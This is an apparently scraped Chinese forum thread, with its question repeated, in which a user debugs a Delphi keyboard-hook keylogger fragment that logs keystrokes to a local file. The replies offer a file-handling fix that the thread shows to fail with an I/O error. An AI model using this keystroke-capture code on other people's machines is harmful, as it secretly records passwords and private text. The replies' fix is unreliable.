function hookproc(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;
var s:string;
hookfile:textfile;
begin
if (peventmsg(lparam)^.message=wm_keydown) then
begin
s:=format('down:%5d %5d',[peventmsg(lparam)^.paraml,peventmsg(lparam)^.paramh])+
form1.keyhookresult(peventmsg(lparam)^.paraml,peventmsg(lparam)^.paramh);
//form1.ListBox1.Items.add(s);
if length(s)>0 then
begin
assignfile(hookfile,'G:\hook.txt');
rewrite(hookfile);
write(hookfile,s);
closefile(hookfile);
end;
end;
这是一个键盘记录,但是我在记事本里面得到的只有最后一个按键的信息!
如果我用用form1.ListBox1.Items.add(s);就可以得到没一个一个按键的信息!
着是为什么呢!请大家帮忙解决!
var s:string;
hookfile:textfile;
begin
if (peventmsg(lparam)^.message=wm_keydown) then
begin
s:=format('down:%5d %5d',[peventmsg(lparam)^.paraml,peventmsg(lparam)^.paramh])+
form1.keyhookresult(peventmsg(lparam)^.paraml,peventmsg(lparam)^.paramh);
//form1.ListBox1.Items.add(s);
if length(s)>0 then
begin
assignfile(hookfile,'G:\hook.txt');
rewrite(hookfile);
write(hookfile,s);
closefile(hookfile);
end;
end;
这是一个键盘记录,但是我在记事本里面得到的只有最后一个按键的信息!
如果我用用form1.ListBox1.Items.add(s);就可以得到没一个一个按键的信息!
着是为什么呢!请大家帮忙解决!
所以每次只把这次的内容写入了。
改为
if fileexists('g:\hook.txt') then
reset(hookfile)
else
rewrite(hookfile);
begin
assignfile(hookfile,'G:\hook.txt');
reset(hookfile);
write(hookfile,s);
closefile(hookfile);
end;
write(hookfile,s);
可以执行只记录最后的
reset(hookfile);
write(hookfile,s);
就会出现输入/输出05错误啊!
狂晕!
呵呵!